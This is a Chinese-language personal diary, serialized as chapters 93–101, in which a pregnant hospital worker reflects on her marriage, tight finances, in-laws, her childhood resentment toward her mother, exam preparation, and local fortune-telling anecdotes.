    对于我来说我感觉很有压力。我嫁一个普通的人。我需要面对物质上的压力，其实本质上来说两种压力都差不多，就看自己选择哪一种。选择了哪一种就需要走下去。我选择的路在思想上的压力会比较小一点。我不用担心长辈会不会不喜欢我，也不用天天各种怀疑ziji配不配的上对方，然后对方各种举动不会想七想八的。在思想上脑子可以更简单一点。
    我的家里人也是这种想法。因为我的脑壳确实太简单了，一看就到底的那种，也藏不住事。怎么教都是这个样子。给人家的感觉就是很幼稚没有什么城府。书上也有关于这些方面的学习，不过我不喜欢学这个。虽然这玩意对我有好处，可能很多很多。但是现在的我就是不喜欢，不管它对我有没有用。可能以后吃足了苦头就会爱学习也不一定，不过现在的我感觉学这种东西很累。
    我几乎属于听不懂人话级别。更不用去想对方究竟是有几层意思了。反正我感觉脑子单纯的人在社会上活着很不容易。学习那些复杂的东西实在是很累很累，从灵魂里透入出来的疲惫不堪。
    所以认识这样子一个人走认为是一件很有负担的事。因为他对我来说太好了太高了，而我个子矮，需要补充的短板很多，如果我选择他为结婚对象，而且还成功了的话，那么他很累，因为他需要面对我弯腰才够得着，而我也很累，我需要踮起脚尖才够得着。身体上和精神上都累。主要看到这种好一点条件的人我也很懒式。谈恋爱还是比较好的，谈的恋爱从来没有超过一个月。一个月就感觉自己配不上对方，或者能找到各种理由结束。我一般都是这个德行。而我能够在结婚之后想起来，估计就是这个原因，没有和这个人谈个五天就分的恋爱。我都是从理论上，理智上在拒绝这个人，可是没有从我的情绪上拒绝，或者感情上。所以会想起来。或者是因为其他的原因。
    比如对于婚姻之后的生活，有比较高的物质需求。或者是最近学习的人与人之间的能量纠缠，我和他的能量纠缠，我还没有处理清楚，所以才会想起来。这可能是我人生需要学习的一部分。就像有的人认识一面，就特别的想和对方吵架一样，然后还有的人自己说什么，对方就像杠精一样讲让人不舒服的话，让人很生气，如果我很生气，那么就是我没有处理好我与他的能量纠缠这种事情，如果我从另一个角度来考虑问题:对方只是提供一种这个世界看这个问题的另一种思路，那么我就对他不会感觉到很愤怒。这件事也是一样的。我在理智上认为没有必要想起来，一个是因为需要对于婚姻忠诚，二个是我很懒式，就算时间重来还是会选择一样的事。我比较有自知之明。不过情绪上很喜欢，也会直接表达出来，不会让我的小情绪憋着，但那是婚前，我还没有男朋友的时候。有男朋友有伴侣了，再多的小情绪对我来说是一种很麻烦的事。我就需要去解决能量纠缠的问题。问自己为什么会想起他来，为什么结婚了会想喜欢另一个人？毕竟从综合原因上看我老公还不错。就是钱少。
    钱少的问题需要我们两个人共同努力。好好加油。从一个贫穷的人家需要过的好一点，需要坚持精打细算二十年，而且还需要学习理财啊各种知识坚持下去才能实现。所以慢慢来吧！就算实现不了，我们也可以享受生活。这是现在的我的想法。
    也许我会改变念头也不一定，毕竟人生这条路从来都不容易的。但愿我们会坚持下去吧！婚姻真不容易。

 第93章

    今天非常开心。因为感觉自己的事情做的好，得到了夸奖。
    可是不过也有很多的危机，需要自己更加的努力应对。希望自己在非常开心快乐的同时，变得自信。然后沉淀下心情把事情做的更好。好好努力好好学习。
    学会更多的知识。像专升本的英语还有政治，还有医学综合，这几本书都需要我吃透。好好的做好事情来。
    还有一个月宝宝就要出生了。希望能够顺顺利利的吧！好期待啊，待产包已经准备好了，还需要买一些纸尿裤，宝宝用的，还有一小罐奶粉，还有生产时用的纸。这些都需要准备好。
    宝宝的爸爸买了三套衣服给宝宝，剩下的家婆洗了好多老公弟弟的衣服。虽然我们也很想买很多很多好看的新衣服给宝宝穿，但是经济不允许。我希望我能够越来越好吧！以后给宝宝做新衣服穿。
    宝宝是处女座的，妈妈和家婆也是处女座的，他们应该会相处的更好。预产期宝宝的生日应该是八月十五中秋节那天。开心。
    真的想一想就感觉很开心。
    希望顺顺利利的。希望以后的家庭幸福美满，希望我工作顺利，希望新的开始更好吧！

 第94章

    休息做完了产检。
    怀孕到后期确实是越来越辛苦啊(ー_ー)!!体会到我妈妈怀我的不容易了。前期的时候都感觉自己还行，后面的时候脚越来越肿，宝宝更大了之后，尿会拉很多次，而且只拉一点点。很多时候都只想着躺着睡觉，不想动。去走走脚会更肿，然后有假性宫缩了。凡事都需要缓缓的慢慢的好奇怪的感觉。
    老公晚上有的时候会帮我捏腿。会好受一点，不过很可惜他没有天天帮我捏！有的时候需要叫很久，因为他忙着开黑。。。。真的我现在信了一句话：有的时候有的男的，他是他爸爸妈妈的好儿子，是他弟弟的好哥哥，是朋友眼里的好兄弟，是老板的好员工，可是他不一定是一个好老公。
    不过综合评价他也还好，会洗碗会买水果给我吃，上下班都是老公接送，家里的各种支出他都会包掉，在物质上虽然很贫穷但是也还好。就是心理上有的时候会不开心。他和弟弟爸爸妈妈的互动很多，和我的互动少，就知道开黑，有一段时间很压抑哦。一回家就打游戏，几乎不说话，不过问了原因，他工作遇到不开心的事了，我没办法开导他。他也习惯压力不往家里说。
    总得来说还好吧！家家有本难念的经。也没有很好，只是日子很平淡还过的去。
    最近的开支很大，燃气灶居然那么贵，本来想买便宜的，可是老公还是想要买好的，买完灶又是贫穷的一个月，宝宝还有一个月生，希望顺产，顺产更省钱。
    今天看了一下午省钱的帖子。给老公买了两件便宜的衣服，他买的贵一点的也就穿了两三个月就不好看了，没办法。好多技术贴，抠男组真是我们清贫的人的福音啊(ー_ー)!!就还有裤子，不知道他喜欢什么样的。我的牛仔裤一百来块钱穿了五年了，还能接着穿，还有一些结婚以前买的衣服，还和新的一样，可能那个时候是手洗衣服，所以衣服坏的没有那么快，现在洗衣机洗，我的衣服也差不多坏了。不过洗衣机更省时间。而且我买的衣服也比较便宜，100元4套的孕妇装。穿了一个夏天了，坏了也不会感觉特别的可惜。怀二胎的时候再买过，因为洗衣机真的很难洗干净。
    学习了一个用鸡蛋做饼干的方子，以后有时间我感觉我也可以做一些试试。便宜又好吃。
    今天的话学习了一些内容，读了十页书左右。内容嘛，自己本人是感觉很难记住的，都只是复习，重复的看，看了大佬分享的学习的的方法，不过我很难看完，也记不住，理论上我知道他讲的是什么？就是学习的时候把知识想象成图片记在脑子里，然后等回忆的时候就把图片想起来，知识点就记起来了。还有其他的办法，可是我感觉很困难。我看到这种学习方法我就特别的厌烦。因为我学不会我有挫败感。真难，看得懂方法，可是学不会可怎么办？其实我也没有试过多少吃，也就尝试了四五次而已。我比较容易选择放弃。

 第95章

    还有24天宝宝就要出生了。期待中。
    今天我又在抱怨我的妈妈。我真的不想抱怨她，因为知道她不容易。可是就是不开心。因为我想到了我的学业。我那年那么想上学，可是因为没钱没办法上，如果是妈妈的能力不足，没有办法我也就没有那么多的怨气，可是她那个时候是把钱借给姨姨盖房子去了，那个阶段我体会她不容易，希望她自己能攒点钱日子过好一点，没有想到她会这么花出去，每次和她抗争，她都不理解。没办法。所以高中没有学。我的内心里充满了怨气，不开心，因为理想也没有办法实现，还耽搁很多时间，我以为她回来之后会更加的疼爱我一点，毕竟她很早就去打工了，一年也就回家一次，就过年那段时间，其实心里面是很喜欢她，很想念她的，可是她回家我就会被骂，被批评。总之就变得很矛盾，很喜欢又很讨厌有人在骂我，而且是我不能理解的骂。
    过了那么久，慢慢的苦日子我都熬过来了，还是很不舒服。每次想起来心里不开心。
    其实很多时候我也明白是自己不对吧！以前说做一件事，可是奶奶说不做，然后我就没有下文了，也不去动。后来有一次做艾米果，我摘了好多的艾草，结果奶奶说不行少了，就没有做。那些艾草也坏了。其实很多事都是这个样子，我没有干劲，家里人也没有。那个时候大概十来岁。同龄的人，他们家里人不许做某些事，他们都会自己动手争取，像做手工，学校里发的材料，他们都会自己想办法，而我没有，只会眼巴巴的看着别人。然后很羡慕。不动手的那种。每次回忆起来，我也不知道为什么我不动手，看了很多家里人的成长，差不多我们都不是爱动手的人。虽然脑子很会想办法，但是不行动永远都为零。
    那年其实我的潜意识知道自己家里穷，我妈妈肯定不会给我交学费的，她每次看我都像看仇人一样，每次向她要学费，她都很生气的说我不是她一个人的孩子。从小到大都是这个样子。那年我想到了写文章，寄出去挣钱，可是我记下了地址，也没有选择写，我模仿了好多好多小说的内容，也没有寄出去，就连老师夸我写的很好的那一篇我还撕掉了。其实是我自己切断了我对于自己的理想的追求。对美好的向往。我自己的内心知道自己做了什么。其实就算出生贫困仍然有很多的办法可以让生活变得更好。可是我的不知道为什么我会自己把自己放弃。
    我在等待我的妈妈她可以像书里写的那样，能够让我感觉到温暖与爱，可是她没有像书里写的那样子美好，像天使和神明一样。我以前也希望自己能够做的很好，做一个好妈妈。可是等到我谈婚论嫁的时候发现我也做不好一个好妈妈，我不确定我以后会不会打小孩，会不会骂小孩。会不会把对生活的焦虑宣泄到孩子身上。本来还有很多方式可以让自己和孩子更好的，可是潜意识里就是不想动，没有动力的感觉。
    潜意识里想挣很多很多钱，其实想挣很多很多钱的人，他缺少的不只是钱，而是爱与归属。可是很难。
    就算嫁人了也很难达到这种心理状态，让人感觉到安全，没有伤害，能够感受到周围的善意。德不孤必有邻。好好修行吧！
    再怎么抱怨，也没有用，只能够去接受现实，毕竟时光不能够重来，重来结局也一样。就当人生没有充钱。我真的不想再抱怨妈妈了，找很多很多的理由，我也会忍不住的抱怨她。这份情绪很难接纳。很难也需要学会接纳。

 第96章

    写到96了。
    今天听说了好多事。第一买水的阿姨说好几年前有一个学生十八岁左右，偷了她好多好多东西，然后派出所抓住了他，是一名高中学生，不过，阿姨并没有向那个学校说明这件事，也没有叫他赔偿损失。因为她可怜那个学生年级还小，以后还需要找工作，因为那名学生的父母常年在外打工，爷爷奶奶又很老，爷爷奶奶照顾他。条件不算好，阿姨认为教一个人很难，所以给他改过自新的机会，很多人都说阿姨傻，因为没有要回赔偿，也没有对这个人要求处罚。好多年过去了，她说那名学生也有三十多岁了，来看她。不过我问阿姨，他有没有赔偿损失，阿姨说没有。猜测，那名偷东西的学生应该也过的不算好。不然应该也会赔偿损失。
    第二件事一个扫地阿姨出车祸了，她人还很好，背比较坨。六十几岁的样子。听说半夜睡不好的那种。做事还可以。
    第三件事卖水的阿姨说以前有一个扫地阿姨人很好，捡了两万元钱交回给了失主。得了一面锦旗，那个管扫地阿姨的老板，听说了此事还给那个扫地阿姨三百块钱。不过那个扫地阿姨的老公得了癌症去世了，所以那个扫地阿姨没有来了。
    第四件事。阿姨叫我帮我看一下摊子，然后我看了一下没有几个人过，没有想到，卖水阿姨的碗被人拿走了，据说还有一次，阿姨的碗里的饭菜被人端走了。一般情况下没有几个人会乱拿东西的。算了算了，下次我多注意一下。无语了。
    不过我确实也没有怎么注意到，下次注意一下，因为人家拜托我帮忙看一下，看了几天确实很多人来人往，我印象里面周围的人还不错。应该不会有偷鸡摸狗的事发生，不过这只是我认为，毕竟一样的米养千样的人。说不准。
    心情有点复杂。
    最近的梦境里面，很奇怪我在背着我老公爬山，然后爬到了三层楼的房子上，再下去发现周围有一群狗。好奇怪。然后第二个梦境，梦里面老公不记得在干嘛了，我在用手机写什么东西。我也不记得我写了什么。然后就脚抽筋抽醒了。
    昨天吃了同事六个包子。我应该不要那么贪吃。中午的饭我就吃的好撑。有点子吃不下。然后回去的时候发现门锁了，而且同事带走了三串钥匙。然后我打电话和她聊天，没有想到她人出来了，钥匙没有拿出来，然后风一吹，门就锁掉了。三串钥匙都锁了，还有穿工作服的那个门也锁了，所以中午我就在其他科室门口待了一中午，然后和门卫师傅说明原因，然后找其他有钥匙的人，和人家沟通借钥匙。还好没有耽误很久，也就五分钟。人家门卫师傅帮我上了一会儿班。从来没有碰到这样子的事。
    晚上的时候发现胎动频繁，有点不舒服，后来吃好饭又回医院了，查了胎心监护，宝宝的情况还好，输了一会儿氧气。到家就晚上十点多，十一点洗澡睡觉。请医生帮我开了好几个小时，以后每天都输一会儿氧。然后晚上抽筋，抽的好厉害，才想起来中午忘记补钙片，晚上一忙也忘记补钙片了。真痛啊(ー_ー)!!

 第97章

    最近。一家店不知道会不会倒闭。因为三个老板合伙开的，其中两个老板吞了钱，另一个老板承担亏损。还有四十多个人的工资没有发。那两个老板又跑路了。
    听到这样子的消息，我有点子暴躁。因为和家里人有关，我家里人的工资没有拿到。真希望赶紧立案，希望警察能够夸省把那两个老板抓回来。那两个老板外地人。在我们这个地方没有家人。人家就跑路了。虽然店在那里，店里面的东西还有，如果交不出工资，我们可能准备把店里的东西抵债。可是这个不好。因为心情不好。二手物品没有维修保障期，而且又不能挑自己喜欢的东西要，没有自己买的好。所以好希望能够追回钱来。现在的日子还能过的下去，我们不需要那么多东西。然后自己还欠钱。需要还亲戚的钱。不想碰到这种事情。
    高风险地区没有了，还有十几个中风险地区。但愿疫情结束吧！还是希望结束疫情。大家都不要那么累。
    安居乐业这个词很难达到这个标准。可是这是我们每个人都很期待的一件事。但愿我们能够慢慢的实现它吧！
    听到别人买房子的消息我有点子焦虑。希望我也能够买房子。我需要达到这个目标的话，我需要学会勤俭持家。需要学会挣钱，放下面子。
    最近在学习绣花。一个小时完成了一个小月亮，绣出来的效果一般般，不过对我来说很不错，因为这是双面绣，而且我是第一次绣，很棒了。
    今天碰到了让我生气的人，可是我的心态保持的还好，而且人也变得清醒。还好吧！
    今天看了一点点内容，有长进了很棒。
    今天听了一会儿让自己舒服的音乐，还不错。
    最近回忆了一点点让我有成就感的事情，我感觉很开心。有一点点自信心。希望以后再加再励，好好努力。
    最近获得了一个荣誉证书，医院发的，很开心，感谢单位和领导的厚爱。
    最近碰到了一些事情，让我胆子变得很小，可是我又克服了我胆子小的毛病，有了成长，和解决了问题，挺好的。
    最近特别的想买工具，做手链。特别想买。
    最近买给老公的衣服，老公很喜欢，他很开心，我也很开心。而且知道了一个很好用的省钱的方法。
    学会了使用。有点麻烦就是，很棒。
    最近做了一些精神病的题目，做完之后我很开心。因为我发现我有个毛病它不是属于精神病。就是会锁门，然后再检查一次自己有没有锁门的事。发现自己是个正常人之后，心情很愉快。

 第98章

    今天家婆发现一个邻居开了我们家的车库门，在使用我们的电，而且并没有告诉我们，而且他是用自己的钥匙开的。家婆就讲了他，然后回来的时候，还和他说话，他问家婆是不是不高兴？家婆都无语了。我们准备换锁了。回来家公说用别人的电也不会发财啊(ー_ー)!!十块钱都能用很久，而且用我们的东西肯定要告诉人家一声，都有电话号码。万一少了什么东西，都说不清楚。
    我在一边挺无语的。因为那个邻居还经常串门的那种，没想到他会这样子做事。
    晚上的时候，老公弟弟好吵，不知道他哪里学来的，大晚上的鬼哭狼嚎，另一个邻居家的小朋友和他玩的很好，有一辆小车子放我们这里了，老公弟弟急着还给那个小朋友，然后那个小朋友在洗澡，关了门，因为里面有空调，那个邻居的阿姨没有开门，然后老公弟弟就一直在人家房间门口哭，家公家婆讲了也没有用，饭不吃。晚上了九点多，又鬼哭狼嚎的，要吃饭。。。。。我感觉我的感受不是生气，我也不知道我什么感受。有点急着想揍他，又忍住了。我想如果我有小孩子，面对她这样子我怎么办啊？而且我小时候应该没有被打过啊，怎么我看到老公弟弟真样子，我天天忍不住就想打他一顿。真疑惑对吧！一个没有被挨过揍的人为什么看到这种情况就想揍人呢？还是我其实也挨过打，只是忘记了吧？
    反正挺无奈的，但愿自己看着自己的小孩子可以控制住自己的洪荒之力吧！
    今天休息，然后躺了一天，喝水上厕所，吃东西，就过完了。肚子大大的，哪也不能去。喝完了过了一会儿就想上厕所，上完了厕所又想喝水，整整一天，就是上厕所喝水，吃东西的事。
    我感觉很郁闷啊！还是单身好。内心在怀孕了之后一万遍冒出来的念头。单身好啊！
    老公回家之后就玩游戏，可能工作压力大吧！有点不开心的感觉。
    今天看了很多帖子关于省钱的东西。买衣服之类的，不过看完就忘了，看了几个视频，关于继续教育的，做完了一点点题目，过一段时间我需要花一百块钱买卡。还发现了县级的学分，需要刷视频，还有省级之类的需要这个月弄完。今天把需要现场审核的东西准备好了，专升本，我有点害怕的情绪，因为我的英语超烂的。政治也没有怎么看，十月份就考试了，这个月可能会生宝宝。现在对宝宝有一点抱怨的情绪，因为宝宝晚上好会动，搞得休息不好，不过白天我也睡不着，所以这不是宝宝的事，而是怀孕本来就这个样子，晚上又会一个劲的上厕所，不好睡，白天也睡不着。
    有点子无奈。
    昨天肚子很痛，宝宝一直在动，我有点子不舒服，然后叫老公摸一下，老公在专心的打游戏，我情绪有点失落，不过我没有讲他，后来就忙着和同事聊天工作的事，转移自己的注意力。后来情绪来了转移自己的注意力。因为昨两天老公说想今天休假一天，然后今天没有办法休息。所以让他吧！一个月才两天假。上个月不记得哪天休息的来着。反正也隔了挺久的。
    可是我还是最喜欢单身。设想了一下我们的新家，我其实很喜欢很粉的房子，可是如果以后买房子肯定不太可能会搞成这个样子，想一想以后的家不是自己喜欢的样子，生活也不是自己喜欢的样子，想做的事也不是自己喜欢的样子，就真的很无聊。没劲。
    看了很多的衣服，我看了好多特价的，我还是比较喜欢买那个牌子，好看的，算了每年一套喜欢的贵一点的，可是也很不划算啊！人家的一年买衣服的钱都才两千块钱左右。如果我买那个牌子的衣服，买一两件就超标了。纠结。而且我的工资还没有人家高，花费太多在衣服上划不来。
    今天发现我给我老公买的衣服有点子不好看，可是一件才十二块钱十三块钱，他很喜欢，可是我总看都感觉有点辣眼睛。没有办法把他好看的形象凸现出来，可是买的贵的衣服，他上次买的很好看，两个月都没有到，就洗衣机洗烂了，而且很贵两件至少158元。变得很丑了。不划算。手洗真的没有那么多精神，特别是我怀孕了，我自己的工作服都是家婆帮我洗的。家婆也辛苦。
    算了，下次再挑好看又耐穿还舒服的衣服给他吧！不过老公说那两件衣服很舒服，因为材质是棉的。因为看了人家的帖子，一个男士发的，他说他的衣服从来不超过十五块钱，裤子不超过五十块钱，好多技术，看了我很羡慕就给老公也挑了类似的。
    我自己的衣服的话，一都是pdd买，因为那里好便宜。然后要么咸鱼买二手，这是结婚以前的衣服。结婚以后的话，还是买的pdd孕妇装之类的，挺划算的。
    今天看了一下信用卡，原来信用卡第二年会扣好几百的年费啊(ー_ー)!!那么麻烦，我希望我能够把它们注销掉，不过过一段时间，我需要买床，不知道我要不要用信用卡。我看别人用信用卡的帖子，说有什么满减活动，用来买米买油等生活用品很划算，可是我好像还是不会用。感觉没看懂，复杂。
    躺了一天了，腰酸背痛的，别人怀孕的生活也是这样子吗？不知道耶，听她们说她们的孕期在旅行，去了好多地方玩，不过我没有办法去，因为疫情然后还有钱的原因。等我休产假的时候，可能疫情会结束吧！希望结束，不知道能不能去玩，大概率是不能，还是有点子惦记。工作以后的假可能就产假最长了。不过我需要为之后工作做准备，哺乳期听说很累，一天到晚都没得休息的那种。不过其实现在怀孕也是这样子的。没有结婚以前我也是这样子的，吃不好睡不好的那种人，所以根本没有什么差别嘛！也不需要太过于恐惧未来的生活。
    想买一个锻炼身体的器材，因为我胖了好多好多斤，宝宝可能比较小一点，可是我自己很胖很胖。需要锻炼身体，可是我不喜欢出门，所以想买一个在家里锻炼的，我朋友有一个，很想要她的链接，不过我还没有问，我可能不敢问吧！
    最近发现了一个医生，他会开中药，他很会自己学习的那种，我很害怕找医生看病，我怕人家开的药很贵，我吃不起或者是其他原因，总之我就是怕找医生看病，我发现他看病居然没有收钱。。。看来以后要和他搞好关系来，等以后没准我也能免费看病。真是个天才，想法是好的，可惜我社恐。人际关系对我来说太复杂了。
    今天另一个同事回来了，来了我们医院，不知道她会不会回来上班？她之前辞职了。其实她的人生也还不错吧！她的面相很好，很有大富大贵之相。不管怎么样，都在美好的路上前行。不管是她还是我。
    我看了一个视频，说有的人很伟大，可是他的生活并不算顺利，所以命好命不好，其实看自己怎么看，命运里所有的礼物都标好了价格，你选择了什么，也会失去什么。鱼和熊掌不可兼得，既然选择了，那就好好享受当下吧！

 第99章

    昨天和老公家婆还有老公堂姐一起包饺子。老公包了一个玫瑰花饺子很好看，然后他包的金元宝饺子也很不错，特别的好看。
    今天早上我们吃的自己做的饺子，我吃完了，因为很好吃。老公没吃完，因为他不喜欢吃肥肉。
    昨天晚上很晚，我知道他欠钱买菜的事。有点不愉快可是我没有讲他。家婆说没有钱买菜了，然后那个时候他正好缺钱就用360借条借了钱。他就提了一下，没有和我说具体的数字。然后现在每个月还钱。算利息的话，全部还完可能需要五六十多。我有点难受，我花了好多个小时给他省了买衣服的钱，他又花出去了。心情不算好，不过没有讲，本来不够钱可以和我说，也不要打肿脸充胖子，买的菜确实很贵，很想去说，可是又不想说，因为说了会伤感情，怕被讲。我的亲戚她们在处理和家婆之间的事情，基本上都是不说她们的话，有很多建议很多想法几乎都不会讲，因为不是同一个年代的人，有代沟，很多东西都没有办法沟通，所以看到了一些自己不适应的事，几乎都是忍着，忍到家婆家公归西。这种生活很压抑。可是比起吵架来讲这是比较好的解决方式。因为老公也不可能时时刻刻会考虑你的，说了什么或者有什么基本上找错处都是找自己老婆身上，因为辈分小，还有就是他们毕竟是一家人。只能自己适应环境，不能去改变它。我做不到八面玲珑，很烦，可能不会是那种很厉害的人，所以只能沉默。很多的事情都只能沉默。不想讲什么。
    因为家婆家公老公都爱吃咸的，我喜欢清淡的，然后我晚上不喜欢吹很大的电风扇，老公没办法受不了，他需要开很大的电风扇。他比较喜欢享受生活，而我好像太过于考虑未来还有以后。我们一点也不一样，我喜欢在穿衣服上节省，吃东西上节省，他喜欢吃新鲜的。本来计划了很多省钱的方法的，可是我发现有很多的想法都几乎用不上，因为这是他不喜欢的。
    我的内心确实有点子难受。我的钱几乎是苛刻自己省下来的，如果在衣食住行上大手大脚，那么根本就攒不下钱，可是未来的生活就是这样子的。
    我很少任性，因为我知道我没钱，任性需要花很多额外的钱，可是我发现我的第二家庭都是很有个性的人。我也不知道他们的幸福感是不是比我的多，可是我知道他们花的多。
    在这个世界，房子还没有买，车子也没有买，孩子还小，他弟弟好小，如果自己生个二胎，几乎是养三个孩子，如果生三胎，那么我们两口子需要养四个孩子，压力很大。家婆又有高血压，不敢说什么，因为怕她生气，脑血管出问题。有好的意见建议不好说。真的也难。就这样子吧！我这个人那些人际关系沟通方面的书看了不少，可是很多东西我还没有学会学以致用。怕自己说的不好，人家心里会不高兴。一开始的时候，他们说话我会表达自己的看法，后来老公说我很差劲，因为他认为我在顶撞他的父母，家公也说别人的儿媳妇很好，意思就是我不太好。他不太满意。因为我表达自己的观点会说顶撞，然后不和他讲话，好好吃自己的饭，他认为我不尊重他，什么都不想和他说话，但是回应了什么，感觉家婆又不是很开心。这是我在这个家的感受，家家都有一本难念的经。我也不知道我潜意识感觉的是什么？反正不太舒服。
    结婚确实很累啊！需要很多的技巧，需要很多的头脑，也需要很多的精力才能过的稍微体面一点，然后又不能太过于违背自己的内心，不然会很压抑，压抑久了会生病不舒服的。
    算命的果然说的没有错，我天生那么衰。算了算了，反正也就活到六十岁，熬一熬就过去了。看一下这一生还有什么是我需要达到的愿望吧！尽力去实现一下就好了。别的什么不要指望太多。
    老公说他好吧，他会洗碗，会帮忙做事，晒衣服什么都很快，然后我需要做什么事，几乎都会第一时间放下自己的事哪怕扣钱都会陪我把事做好。说他不好吧，玩游戏玩很晚，很晚了还要刷抖音刷很晚，会和他家里人交流，可是很少和我聊什么，有空余时间不会想着搞副业，只想着玩游戏，哪怕是早起一小时，有很多很好的事情，他不想干，建议也说过，也没有用，分析了也没有用。可能内心里不愿意所以就不愿意吧！会抽烟喝酒喝茶，这些事情其实是对问题的逃避，可是我也不知道他在逃避什么问题？
    我的梦境里我一直都在上班上各种班，他的梦境里一直都是我会离开。无论是怎么样的梦，都是我会离开。是不是他的潜意识其实很想我离开呢？我也不知道。每天听的歌曲都是又丧又怂的失恋情歌，我有的时候听到这些歌就会很生气，生气对方是不是在怀念他的前女友？
    进了婚姻以后，我好像对爱情没有什么期待了。我没有很快乐的感受。
    茶米油盐酱醋茶，可能生活就是这个样子吧！

 第100章

    今天去买床了，买的还是原来那个床，其实我们看到了那个更漂亮的床，我和老公都很喜欢不过需要两千九。都认为太贵了，所以买的还是原来那个款。用的是之前那个价格。床垫还比较喜欢。颜色和衣柜可以配的到。还好吧！还算比较满意。
    今天一早上看了一会儿视频，跟算命先生有关的。他讲的东西好有道理，我也说不上来是收获了什么，总感觉很有道理。想找他算命，发现算好下来的价格我负担不起。内心只有一句我佛不度穷逼。不过如果有那种可以让我们得到很多启示，避开很多的难处的东西，这个价格其实也还好。很划算，不过对于现在的自己来说贵了贵了。像有的心理医生写的东西看了心灵里很有感触，很想去看看自己的心理状态，发现很贵，负担不起。所以还是等以后来吧！
    然后就只能自己选择去学习，在逆境里成长起来。以后也会慢慢变好的。像有的东西，别人不需要学习，一点就通，有的人家讲了很多遍可是自己仍然学不会，不是环境没有对自己好，而是可能是自己正好处于那个阶段，缺少某一种认知，所以别人怎么教都教不会，只有当自己经历了一段挫折之后，得到了领悟，就有了成长。所以逆境也是自己人生的必修课。逃不了，躲不掉，那就好好学习吧！
    如果花钱学习，学了一遍就可以在人生路上顺顺利利的话，那对我应该不太可能，因为我知道自己的资质是啥样子的所以需要学会仍然不断的努力成长，不屈不饶。
    今天和老公的相处好像还不错。可能那个算命先生的话我听进去了一点点。哪句话来着？好的夫妻关系是共同成长的。大概是这个意思吧！他说的更复杂一点。背不出来。嫁的好，娶的好都是人生的转折点。好复杂啊！背不出来。反正很有道理我可能需要看很多遍。
    然后还有好多人的分类，女孩子好的品质，和男孩子好的品质。我看了一下，我的品质还是有的，我认为我的是鹿瑞，性格比较好的那种，不断学习进取，然后比较勇敢。智商可能很让人捉急。可是勇敢就是很好的品质。所以仍然需要不断的学习，努力成长。还有凤仪蛇灵，没有想到外表好看，居然会有那么高的评价，不过我可能没有办法去搞好我的外表，因为我还准备等以后夏天的时候，有时间去乡下帮娘家种田呢！割稻子之类的，什么好看的脸和外表，风吹日晒的，两三天就会了原来的乌漆麻黑的样子，跟这种命格应该没有什么缘分。而且注重外表需要花不少钱，可是形象好也确实可以带来很多的收入，别人一看你品相端正，仪表端庄，有大事交给你，人家心里也特别的放心，踏实。所以审美观，穿衣打扮，妆容也很重要，工作能力重要。好的命格的人，很多好的事情都是齐头并进的。面对这样子的事情，我只能在我力所能及的范围内做到最好就可以了。我一个在泥潭里的人和天上的繁星相比较，只会心累，在自己原有的基础上做到最好，没准可以开很漂亮的花，收获很重要很幸福的东西。
    每个人的段位不一样。我的段位是怎么样的？我需要清楚一点。然后在力所能及的范围内做到最好就可以了。加油吧！

 第101章

    好像发泄～出那份敌意以后，我好像更好和家里人沟通了一样。这样子也好，我真的不想在一个家里面像战战兢兢的生活，毕竟工作那里需要很多的精力，回到家里～就应该活的更舒服一点。
    今天我洗完了我的工作服，还好吧！我感觉我那么大肚子，洗工作服好像也不是很艰难，就是发现自己的工作服上有几个黑点，不知道是不是苍蝇屎，刷了我很久，发现只是颜色变浅了，并没有刷的很干净。不过还好我洗完了。
    第二件事给一个朋友圈的陌生人捐了二十块钱。我也没有算过一个月会捐多少钱，看到了合心意的就～捐了，好像是一个网友说的，这样子可以让自己自己舒服一点，其他的就不用想那么多了。
    第三件事，找到了自己以前考编制的书，借给那位老师，那些书也买了不少钱，书的内容很不错，老师看完了应该会还给我的，我又不亏，因为现在的时间紧，基本上也没有怎么看这些书，这个月生宝宝，下个月我就需要考专升本。帮别人是一件手有余香的事情。
    第四件事今天和老公去教育局把专升本现场确认审核好了。真好。老公又花时间陪我做事。记录一下。等我以后发脾气想不起他对我的好了，看一下。这次我把所有的资料都准备齐全了，还有重新走几遍的工作，做的很好。
    第五件事，今天去医院做核酸，因为是医务人员，隔几天就要做核酸。在回家的路上本来想去摩托车市场买一个隔热垫的，然后发现那里修路不方便去。老公说在一家修车的地方看到了隔热垫。然后我们就在回家的路顺路找到了那家店，买了一块，四块钱，比摩托车市场的便宜一块钱。很开心。我没有想到修车的店里也有这个。长见识了，而且我发现老公的观察能力很强。周围的事物他都注意的到，而我的话，好像想问题更专注，所以今天虽然我没有观察到什么，但是心情很好。
    第六件事，我们今天买好了床，买的是上次我们挑，那个。价钱老公很满意。我们已经付款了，等爷爷来了，算风水风水方位，就可以请店家送货上门。
    第七件事。听老公说易经很难学。那些懂得人都很出色，所以他们算命好贵啊。听的我对易经产生了好多兴趣，我感觉我也想学。学会了那可是很有钱呐！
    第八件事。今天家婆做的菜很好吃，盐放的刚刚好。吃了好多饭。
    第九件事，学到了一个牛附子的知识，老公那边的山上长的一种可以药食两用的植物。他们叫奶党，搜出来就是牛附子。可以治疗乳汁少之类的毛病。
    第十件事。家公在老家的山上摘了很多的猕猴桃，不过还没有软。听说家里的山上好多野生的猕猴桃，真的很好奇啊！不知道能不能摘到来卖钱，不过家里的山很远，然后回一次油费需要几十块钱，卖的便宜了，不划算，卖的贵了怕没有人卖，而且又要爬山。有点子麻烦，好可惜这么多的猕猴桃。长了那么一回。
    第十一件事。听说老家那边有个算命的，好神奇。一对夫妻，他们的关系很不好，男的在偷人，然后那个男的在那个算命的那里求了一个符，化水给他老婆吃了之后，感情变得很好。可是我很奇怪，为什么男的偷人～要给老婆喝符水呢？这世界上奇奇怪怪的事真多啊！然后那个算命的给家公说今年要防毒的建议。所以可能今年也不能去爬山，怕有蛇，不过我很担心酒精中毒，老公说没什么，家公喝酒喝的比较少，偶尔喝一杯的样子，应该是指蛇毒。亲戚想要去找那个算命的想算生儿子的事。如果我也生了两个女儿估计也会找他算一算吧！我认为算命是什么呢？感觉对方应该是沟通别人的潜意识吧！生儿子我感觉看清宫表也可以，好多妈妈说她们看清宫表，看的结果很准。真的是奇奇怪怪的。
    第十二件事，小孩子应该不能喝白酒吧！老公弟弟才五周岁而已，很想讲什么，不过我没有讲。因为他这次没有偷喝酒，可能他上次很好奇，然后喝了家公的酒，整个人一晚上都在撒酒疯。这次看到了酒就没有那么好奇了。
